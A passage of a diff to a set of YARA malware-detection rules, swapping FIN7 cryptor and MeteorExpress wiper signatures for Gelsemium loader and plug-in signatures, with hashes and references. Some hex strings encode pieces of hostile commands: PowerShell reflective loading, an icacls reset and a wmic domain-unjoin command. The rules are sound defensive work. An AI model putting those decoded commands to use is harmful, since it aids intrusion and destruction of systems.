[2] 20 00 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff } - $seq3 = { 48 83 ec 20 c7 45 fc 00 00 00 00 eb 64 8b 45 fc 48 8b 14 c5 48 92 61 00 48 8b 05 ?? bd 20 00 48 89 c6 bf 40 93 61 00 b8 00 00 00 00 e8 ?? 3f ff ff 8b 45 fc 48 8b 04 c5 48 92 61 00 48 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 ?? 3d ff ff be [2] 41 00 bf 40 93 61 00 e8 ?? 3e ff ff 48 89 45 f0 48 8b 45 f0 48 89 c7 e8 ?? 3d ff ff 83 45 fc 01 83 7d fc 00 74 96 48 8b 05 [2] 20 00 48 89 c7 e8 ?? 3c ff ff 48 8b 05 [2] 20 00 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 e8 48 8b 45 e8 48 89 c7 e8 ?? 3d ff ff c9 c3 55 48 89 e5 48 83 ec 20 48 89 7d e8 48 8b 45 e8 48 89 c7 e8 ?? 3c ff ff 89 c2 8b 05 ?? d0 30 00 01 d0 83 c0 01 89 c7 e8 ?? 91 ff ff 48 89 45 f8 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3c ff ff 48 8b 45 f8 48 c7 c1 ff ff ff ff 48 89 c2 b8 00 00 00 00 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 8d 50 ff 48 8b 45 f8 48 01 d0 66 c7 00 2f 00 48 8b 15 ?? cf 30 00 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3e ff ff 48 8b 45 f8 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 f0 48 83 7d f0 00 } - $seq4 = { 48 89 e5 48 83 ec 10 c7 45 fc 58 00 00 00 8b 45 fc 48 8d 55 f0 48 89 c6 bf 00 a5 71 00 e8 [2] 00 00 48 89 05 ?? 0b 31 00 48 8d 45 f0 48 89 c2 be 20 00 00 00 bf c0 a4 71 00 e8 [2] 00 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 b7 fd ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 80 fe ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 ?? 0a 31 00 48 c7 05 ?? 0a 31 00 [2] 41 00 e8 ?? f6 ff ff e8 f1 f7 ff ff b8 01 00 00 00 } + $seq_Mar_2021_1 = { 6a 00 6a 00 ff 15 88 60 41 00 81 3d cc e6 b8 02 57 0f 00 00 8b 0d b4 c4 41 00 8b 15 b8 c4 41 00 a1 bc c4 41 00 89 4c 24 2c 89 54 24 20 89 44 24 24 75 14 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 28 60 41 00 8b 2d a8 60 41 00 c7 44 24 1c 20 00 00 00 8d 9b 00 00 00 00 8b 54 24 18 8b ce c1 e1 04 03 4c 24 20 8b c6 c1 e8 05 89 4c 24 14 8d 0c 32 89 44 24 10 8b 44 24 24 01 44 24 10 31 4c 24 14 81 3d cc e6 b8 02 f5 03 00 00 c7 05 0c da b8 02 36 06 ea e9 75 08 6a 00 ff 15 5c 60 41 00 8b 4c 24 14 31 4c 24 10 83 3d cc e6 b8 02 42 75 30 6a 00 6a 00 6a 00 ff d5 6a 30 8d 54 24 3c 6a 00 52 c7 44 24 40 00 00 00 00 e8 5a 5e ff ff 83 c4 0c 6a 00 8d 44 24 38 50 6a 00 ff 15 00 60 41 00 2b 5c 24 10 8b cb c1 e1 04 81 3d cc e6 b8 02 8c 07 00 00 89 4c 24 14 75 09 6a 00 6a 00 e8 d2 eb fe ff } + $seq_Apr_2021_1 = { 89 44 24 38 48 8b 05 78 4e 00 00 48 89 05 b9 9e 00 00 48 8b 05 52 4e 00 00 48 89 05 b3 9e 00 00 48 8b 05 4c 4e 00 00 48 89 05 ad 9e 00 00 48 8b 05 46 4e 00 00 48 89 05 a7 9e 00 00 8b 05 51 9e } condition: - uint32( 0 ) == 0x464c457f and filesize > 50KB and 3 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 1 of ( $seq* ) } -rule ARKBIRD_SOLG_CRIM_FIN7_PS_Cryptor_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_2 : FILE { meta: - description = "Detect PS Cryptor used by FIN7 for Diceloader and Carbanak" + description = "Detect Gelsenicine malware (Loader - Variant 2)" author = "Arkbird_SOLG" - id = "26361500-c33e-59c8-a53f-a881966c71a7" - date = "2021-06-07" - modified = "2021-06-07" - reference = "https://twitter.com/z0ul_/status/1401795117678219267" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-07/FIN7/CRIM_FIN7_PS_Cryptor_Jun_2021_1.yara#L1-L28" + id = "c6e28da2-622b-57ba-9381-9f8f6b8879bf" + date = "2021-06-12" + modified = "2021-06-14" + reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_2.yara#L1-L19" license_url = "N/A" - logic_hash = "d7eadaa6dec75ecfa2f03860f41b39dbe9e7ffc9e6ad743497586356301ef67c" + logic_hash = "e1d6402c743af697c8d1b34087b6fe9db80237834d73967b0a0638023d4e4a40" score = 75 - quality = 55 + quality = 75 tags = "FILE" - hash1 = "944e47dc9da19b753beba173214cdebea2aa3651c402dfacae2dde82c4fdaa43" - hash2 = "fada67a9f89429d6c191cd6fef5d75cd7b49eebaa2e40d1dd1f9884b3038a23b" - hash3 = "0f083aac77fb734a8e81fb9dff218f0414ac6c4c9a23b2832837fbc2c7e2031d" - hash4 = "dc9442838b464e96281a32705c9b5958e4f45dbefd1ef4a885fac9898af0a4b7" - hash5 = "fad295cf65552061dc553c21d89d8bbd0b02783c01f5e696232df6a14381c206" - tlp = "White" - adversary = "FIN7" + hash1 = "6eaeca0cf28e74de6cfd82d29a3c3cc30c2bc153ac811692cc41ee290d766474" + hash1 = "d986207bc108e55f4b110ae208656b415d2c5fcc8f99f98b4b3985e82b9d5e5b" + hash1 = "ec491de0e2247f64b753c4ef0c7227ea3548c2f222b547528dae0cf138eca53a" + tlp = "white" + adversary = "Gelsemium" strings: - $s1 = { 3d 4e 65 77 2d 4f 62 6a 65 63 74 20 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 44 65 66 6c 61 74 65 53 74 72 65 61 6d 28 5b 49 4f 2e 4d 65 6d 6f 72 79 53 74 72 65 61 6d 5d 5b 42 79 74 65 5b 5d [6-12] 5b 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 5d 3a 3a 44 65 63 6f 6d 70 72 65 73 73 29 } - $s2 = { 40 28 5b 49 6e 74 50 74 72 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 29 28 5b 49 6e 74 50 74 72 5d 29 } - $s3 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 29 2e 47 65 74 54 79 70 65 28 29 2c 20 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c } - $s4 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 } - $s5 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c 29 } - $s6 = { 5b 41 70 70 44 6f 6d 61 69 6e 5d 3a 3a 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 2e 47 65 74 41 73 73 65 6d 62 6c 69 65 73 28 29 20 7c 20 57 68 65 72 65 2d 4f 62 6a 65 63 74 20 7b 20 24 5f 2e 47 6c 6f 62 61 6c 41 73 73 65 6d 62 6c 79 43 61 63 68 65 20 2d 41 6e 64 20 24 5f 2e 4c 6f 63 61 74 69 6f 6e 2e 53 70 6c 69 74 28 27 5c 5c 27 29 5b 2d 31 5d 2e 45 71 75 61 6c 73 28 28 } - $s7 = { 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 53 74 61 6e 64 61 72 64 2c } - $s8 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 5d 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 28 24 } - $s9 = { 3d 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 24 } - $s10 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 43 6f 70 79 28 24 } - $s11 = { 3d 5b 49 6e 74 50 74 72 5d 3a 3a 5a 65 72 6f } + $s1 = { 48 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 8b d9 c7 44 24 40 00 00 00 00 8b 05 [3] 00 a8 01 0f 85 96 00 00 00 83 c8 01 89 05 [3] 00 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 48 8d 0d [2] 00 00 e8 [2] 00 00 90 48 c7 43 08 00 00 00 00 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 4c 8d 0d [3] 00 4c 8d 05 [3] 00 33 d2 48 8b cb e8 86 f9 ff ff 48 8b c3 48 83 c4 30 } + $s2 = { 54 00 65 00 6d 00 70 00 2f 00 00 00 00 00 00 00 43 00 6f 00 6d 00 6d 00 6f 00 6e 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 2f 00 00 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 2f 00 00 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f } + $s3 = { 48 8b ca e8 [3] 00 48 39 5e 08 75 05 48 8b c3 eb 08 48 8b 46 10 48 2b 46 08 3b c3 0f 4c c3 48 63 c8 e8 [3] 00 48 89 47 08 48 8b 56 10 48 8b 4e 08 4c 8b d8 eb 10 4c 3b db 74 05 8a 01 41 88 03 49 ff c3 48 ff c1 48 3b ca 75 eb 4c 89 5f 10 4c 89 5f 18 48 8b c7 48 83 c4 20 5f 5e } + $s4 = { 45 33 c9 45 33 c0 ba 80 00 00 00 48 8b ce e8 16 f2 ff ff 84 c0 74 71 48 8d 53 18 41 b8 20 00 00 00 48 8b ce e8 e4 f4 ff ff 84 c0 74 5b 48 8d 53 38 41 b8 20 00 00 00 48 8b ce e8 56 f9 ff ff 84 c0 74 45 48 8b 43 10 48 8b 0d [3] 00 48 3b c1 74 0d 48 8b d8 48 8b 00 48 3b c1 75 f5 eb 1b 48 8b 43 08 eb 07 48 8b d8 48 8b 40 08 48 3b 58 10 74 f3 48 39 43 10 48 0f } condition: - filesize > 40KB and 8 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_WIP_Meteorexpress_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Gelsemium_Gelsevirine_June_2021_1 : FILE { meta: - description = "Detect MeteorExpress/BreakWin wiper" + description = "Detect Gelsevirine malware (Main Plug-in)" author = "Arkbird_SOLG" - id = "6dffc8c9-ccd0-5cf3-8f3c-38adad8508b2" - date = "2021-08-06" - modified = "2021-08-07" - reference = "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-07/BreakWin/WIP_MeteorExpress_Aug_2021_1.yara#L1-L26" + id = "31900186-2531-5558-aafb-67707040ddaf" + date = "2021-06-12" + modified = "2021-06-14" + reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsevirine_June_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "80e40479d699b988d1282e407edd51b5e3ea796ebf380d82f5a5aafaacafe75d" + logic_hash = "06e7ee49092621c8469eeb1cd9e5cc1420a1879084e0d0a39181dc046bfa00cf" score = 75 - quality = 71 + quality = 75 tags = "FILE" - hash1 = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b" - hash2 = "074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce" - hash3 = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4" - hash4 = "9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473" + hash1 = "1a9d78e5c255de239fb18b2cf47c4c2298f047073299c27fb54a0edf08a1d5a1" + hash1 = "51b9296ff1f562350cd63abd22c6032ef26d5ae6a3e2e5e0f851d8b1a5d0ee35" tlp = "white" - adversary = "-" + adversary = "Gelsemium" strings: - $s1 = { 8d 04 2a 8b f1 3b c8 0f 42 f0 33 c9 8b c6 83 c0 01 0f 92 c1 f7 d9 0b c8 e8 42 00 00 00 53 68 18 2c 41 00 50 89 44 24 1c 89 5f 10 89 77 14 e8 aa 20 00 00 8b 74 24 1c 83 c4 0c c6 04 1e 00 83 fd 10 72 0a 8b 0f 8d 55 01 e8 50 00 00 00 5d 89 37 8b c7 5f 5e 5b 59 } - $s2 = { 68 cc 00 00 00 b8 [3] 00 e8 [2] 00 00 8b f1 89 75 8c 83 4d d4 ff 33 c0 83 4d d8 ff 6a 44 5f 57 50 89 45 dc 89 45 e0 8d 45 90 50 e8 [3] 00 8d 46 1c 89 7d 90 83 c4 0c 83 78 14 08 72 02 8b 00 89 45 98 8d 7d e4 33 c0 83 c6 04 ab 8b ce 83 7e 14 08 ab ab 72 02 8b 0e 8b 46 10 8d 04 41 8b ce 72 02 8b 0e ff 75 8c 33 d2 50 51 8d 4d e4 89 55 e4 89 55 e8 89 55 ec e8 [2] fd ff 33 d2 89 55 fc 8b 45 e8 89 55 88 39 45 ec 74 0d 33 c9 66 89 08 83 c0 02 89 45 e8 eb 0f 8d 4d 88 51 50 8d 4d e4 e8 3c 02 00 00 33 d2 8b 7d 8c 8d 4d d4 51 8d 4d 90 51 8b 47 34 52 52 52 52 52 52 ff 75 e4 52 ff 70 04 ff 15 08 [2] 00 85 c0 74 28 ff 75 d8 8d 4f 3c e8 [2] ff ff ff 75 d4 8d } - $s3 = { 8b ec 83 e4 f8 83 ec 7c a1 14 50 41 00 33 c4 89 44 24 78 8b 45 0c 8b 4d 08 89 0c 24 53 56 57 83 e8 01 0f 84 05 01 00 00 83 e8 01 0f 84 23 01 00 00 83 e8 0d 74 15 ff 75 14 ff 75 10 ff 75 0c 51 ff 15 2c e1 40 00 e9 0b 01 00 00 8d 44 24 40 c6 05 f4 63 41 00 01 50 51 ff 15 30 e1 40 00 8b d8 6a 00 89 5c 24 18 ff 15 10 e0 40 00 8b f0 8d 44 24 48 56 50 53 ff 15 28 e1 40 00 56 ff 15 0c e0 40 00 83 3d f8 63 41 00 00 0f 84 8d 00 00 00 53 ff 15 04 e0 40 00 ff 35 f8 63 41 00 89 44 24 14 50 ff 15 00 e0 40 00 8b d8 8d 44 24 18 50 6a 18 ff 35 f8 63 41 00 ff 15 14 e0 40 00 8b 7c 24 20 8d 44 24 30 8b 74 24 1c 50 ff 74 24 10 ff 15 44 e1 40 00 8b 44 24 38 2b c6 8b 74 24 10 68 20 00 cc 00 99 2b c2 6a 00 8b c8 8b 44 24 44 6a 00 56 ff 74 24 30 2b c7 d1 f9 ff 74 24 30 99 2b c2 d1 f8 50 51 ff 74 24 34 ff 15 18 e0 40 00 53 56 ff 15 00 e0 40 00 56 ff 15 08 e0 40 00 8d 44 24 40 } - $s4 = { 38 1b 38 26 38 2e 38 39 38 3f 38 4a 38 50 38 5e 38 67 38 6c 38 79 38 7e 38 ec 38 } - $s5 = { 55 8b ec 51 a1 60 57 41 00 83 f8 fe 75 0a e8 8e 0d 00 00 a1 60 57 41 00 83 f8 ff 75 07 b8 ff ff 00 00 eb 1b 6a 00 8d 4d fc 51 6a 01 8d 4d 08 51 50 ff 15 50 e0 40 00 85 c0 74 e2 66 8b 45 08 8b } - $s6 = { 69 63 61 63 6c 73 2e 65 78 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 44 61 74 61 5c 53 2d 31 2d 35 2d 31 38 5c 52 65 61 64 4f 6e 6c 79 22 20 2f 72 65 73 65 74 20 2f 54 } - $s7 = { 77 6d 69 63 20 63 6f 6d 70 75 74 65 72 73 79 73 74 65 6d 20 77 68 65 72 65 20 6e 61 6d 65 3d 22 25 63 6f 6d 70 75 74 65 72 6e 61 6d 65 25 22 20 63 61 6c 6c 20 75 6e 6a 6f 69 6e 64 6f 6d 61 69 6e 6f 72 77 6f 72 6b 67 72 6f 75 70 } - $s8 = { 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 } - $s9 = { 8b 55 ?? 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 08 ff 15 ?? ?? 47 00 8b d0 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 09 8d 45 ?? 50 8d 45 ?? 50 8d 4d ?? e8 ?? ?? ?? ff 83 ec 0c 8b cc 89 65 ?? 51 ff 70 04 ff 30 e8 ?? ?? ?? ff c6 45 fc 0a 83 ec 18 8b cc 89 65 ?? 68 ?? ?? 48 00 e8 ?? ?? ?? ff c6 45 fc 0b c6 45 fc 09 8d } + $s1 = { 48 8b c4 55 41 56 41 57 48 8d a8 38 fa ff ff 48 81 ec b0 06 00 00 48 c7 85 a0 02 00 00 fe ff ff ff 48 89 58 08 48 89 70 10 48 89 78 18 4c 89 60 20 48 8b 05 68 bf 0b 00 48 33 c4 48 89 85 a0 05 00 00 45 33 e4 4c 89 65 08 4c 89 65 10 44 89 64 24 20 48 8d 54 24 20 48 8d 4d 08 e8 30 96 01 00 90 48 c7 85 f8 00 00 00 07 00 00 00 4c 89 a5 f0 00 00 00 66 44 89 a5 e0 00 00 00 45 8d 44 24 04 48 8d 15 79 d8 08 00 48 8d 8d e0 00 00 00 e8 dd b0 00 00 90 48 8d 8d e0 00 00 00 e8 50 30 ff ff 90 48 83 bd f8 00 00 00 08 72 0d 48 8b 8d e0 00 00 00 ff 15 b0 32 06 00 48 c7 85 b8 01 00 00 07 00 00 00 4c 89 a5 b0 01 00 00 66 44 89 a5 a0 01 00 00 41 b8 10 00 00 00 48 8d 15 61 d6 08 00 48 8d 8d a0 01 00 00 e8 85 b0 00 00 90 48 8d 95 a0 01 00 00 48 8d 8d 80 05 00 00 e8 41 96 01 00 90 48 83 bd b8 01 00 00 08 72 0d 48 8b 8d a0 01 00 00 ff 15 51 32 06 00 48 c7 85 68 04 00 00 07 00 00 00 4c 89 a5 60 04 00 00 66 44 89 a5 50 04 00 00 48 c7 85 78 01 00 00 07 00 00 00 4c 89 a5 70 01 00 00 66 44 89 a5 60 01 00 00 49 83 ce ff 4d 8b ce 45 33 c0 48 8d 95 80 05 00 00 48 8d 8d 60 01 00 00 e8 c8 ae 00 00 90 48 8d 95 60 01 00 00 48 8d 8d e0 01 00 00 e8 e4 5b ff ff 90 48 8d 8d 50 04 00 00 48 3b c8 74 15 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 50 04 00 00 e8 92 ae 00 00 48 8d 8d 50 04 00 00 e8 b6 11 ff ff 90 48 83 bd f8 01 00 00 08 72 0d 48 8b 8d e0 01 00 00 ff 15 a6 31 06 00 48 c7 85 f8 01 00 00 07 00 00 00 4c 89 a5 f0 01 00 00 66 44 89 a5 e0 01 00 00 48 83 bd 78 01 00 00 08 72 0d 48 8b 8d 60 01 00 00 ff 15 75 31 06 00 33 d2 48 8d 8d 50 04 00 00 e8 5f 2b 04 00 48 c7 85 58 01 00 00 07 00 00 00 4c 89 a5 50 01 00 00 66 44 89 a5 40 01 00 00 41 b8 0d 00 00 00 48 8d 15 b8 e2 08 00 48 8d 8d 40 01 00 00 e8 3c af 00 00 90 e8 96 2d ff ff 48 8d 48 30 48 8d 95 40 01 00 00 e8 b6 77 00 00 48 8b c8 e8 fe dc 02 00 48 8b c8 e8 16 d5 ff ff 90 48 83 bd 58 01 00 00 08 72 0d 48 8b 8d 40 01 00 00 ff 15 f6 30 06 00 48 c7 85 18 01 00 00 07 00 00 00 4c 89 a5 10 01 00 00 66 44 89 a5 00 01 00 00 41 b8 24 00 00 00 48 8d 15 d7 e3 08 00 48 8d 8d 00 01 00 00 e8 cb ae 00 00 90 48 8d 8d 00 01 00 00 e8 ce 6b 00 00 84 c0 0f 94 c3 48 83 bd 18 01 00 00 08 72 0d 48 8b 8d 00 01 00 00 ff 15 9a 30 06 00 84 db 0f 84 36 08 00 00 4c 89 a5 88 04 00 00 4c 89 a5 90 04 00 00 e8 f7 3b 01 00 48 89 85 88 04 00 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 41 b8 0b 00 00 00 48 8d 15 2a d6 08 00 48 8d 4d 38 e8 59 ae 00 00 90 e8 b3 2c ff ff 48 8d 48 30 48 8d 55 38 e8 96 75 00 00 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 98 04 00 00 e8 d7 ac 00 00 90 48 83 7d 50 08 72 0a 48 8b 4d 38 ff 15 fd 2f 06 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 4c 89 a5 b8 04 00 00 4c 89 a5 c0 04 00 00 4c 89 a5 c8 04 00 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 41 b8 01 00 00 00 48 8d 15 0d e3 08 00 48 8d 4d e8 e8 b8 ad 00 00 90 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 41 b8 0d 00 00 00 48 8d 15 e9 e2 08 00 48 8d 4d a8 e8 90 ad 00 00 90 e8 ea 2b ff ff 48 8d 48 30 48 8d 55 a8 e8 cd 74 00 00 48 8b d0 4c 8d 45 e8 48 8d 8d b8 04 00 00 e8 1a 55 01 00 90 48 83 7d c0 08 72 0a 48 8b 4d a8 ff 15 50 2f 06 00 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 48 83 7d 00 08 72 0a 48 8b 4d e8 ff 15 2e 2f 06 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 48 8d 85 98 04 00 00 48 89 85 c0 00 00 00 48 8d 85 88 04 00 00 48 89 85 c8 00 00 00 48 8b 9d b8 04 00 00 48 8b bd c0 04 00 00 48 3b df 0f 84 8b 02 00 00 66 90 4c 89 a5 48 05 00 00 4c 89 a5 50 05 00 00 48 c7 45 30 07 00 00 00 4c 89 65 28 66 44 89 65 18 4c 8d 85 50 04 00 00 48 83 bd 68 04 00 00 08 4c 0f 43 85 50 04 00 00 48 8d 95 50 04 00 00 48 0f 43 95 50 04 00 00 48 8b 85 60 04 00 00 4d 8d 04 40 48 8d 4d 18 e8 37 b4 01 00 90 48 8d 55 18 48 8d 8d 48 05 00 00 e8 36 9a 00 00 90 48 83 7d 30 } + $s2 = { 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4c 8b 85 88 04 00 00 4d 8b c8 4d 8b 00 48 8d 95 28 02 00 00 48 8d 8d 88 04 00 00 e8 d1 fe 00 00 48 8b 8d 88 04 00 00 ff 15 5c 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 41 b8 0e 00 00 00 48 8d 15 b7 db 08 00 48 8d 4d c8 e8 ee d0 00 00 90 48 8d 4d c8 e8 54 8c 01 00 48 8b d8 48 83 7d e0 10 72 0a 48 8b 4d c8 ff 15 18 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 48 } + $s3 = { 48 8d 8d a8 02 00 00 e8 88 64 01 00 90 48 8b 08 48 89 4c 24 38 48 8b 48 08 48 89 4c 24 40 4c 89 20 4c 89 60 08 48 8d 54 24 38 48 8d 4c 24 48 e8 a0 8e 01 00 90 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 41 b8 0b 00 00 00 48 8d 15 d9 d3 08 00 48 8d 4d 88 e8 a8 a5 00 00 90 48 8d 54 24 48 48 8d 4d 88 e8 d9 60 00 00 90 48 83 7d a0 08 72 0a 48 8b 4d 88 ff 15 7f 27 06 00 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 48 8b 4c 24 48 48 85 c9 74 0b 48 8b 01 ba 01 00 00 00 ff 10 90 48 8b 4c 24 40 } + $s4 = { 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 85 df 06 00 49 8b ce e8 05 dd ff ff e8 e0 db ff ff 48 8d 78 30 e8 27 fc ff ff 33 f6 84 c0 0f 85 ae 01 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 44 8d 46 07 48 8d 15 cf 84 09 00 48 8d 4c 24 20 e8 45 5d 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 44 8d 46 07 48 8d 15 a6 84 09 00 48 8d 4c 24 40 e8 1c 5d 01 00 90 48 8d 54 24 20 48 8b cf e8 5e 24 01 00 48 8b d8 48 8d 54 24 40 48 8d 4d 18 e8 4d 24 01 00 48 8b c8 48 8b d3 e8 72 c1 ff ff 85 c0 0f 9e c3 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 d2 de 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 ac de 06 00 84 db 0f 84 ed 00 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 20 00 00 00 48 8d 15 ec 84 09 00 48 8d 4c 24 20 e8 82 5c 01 00 90 48 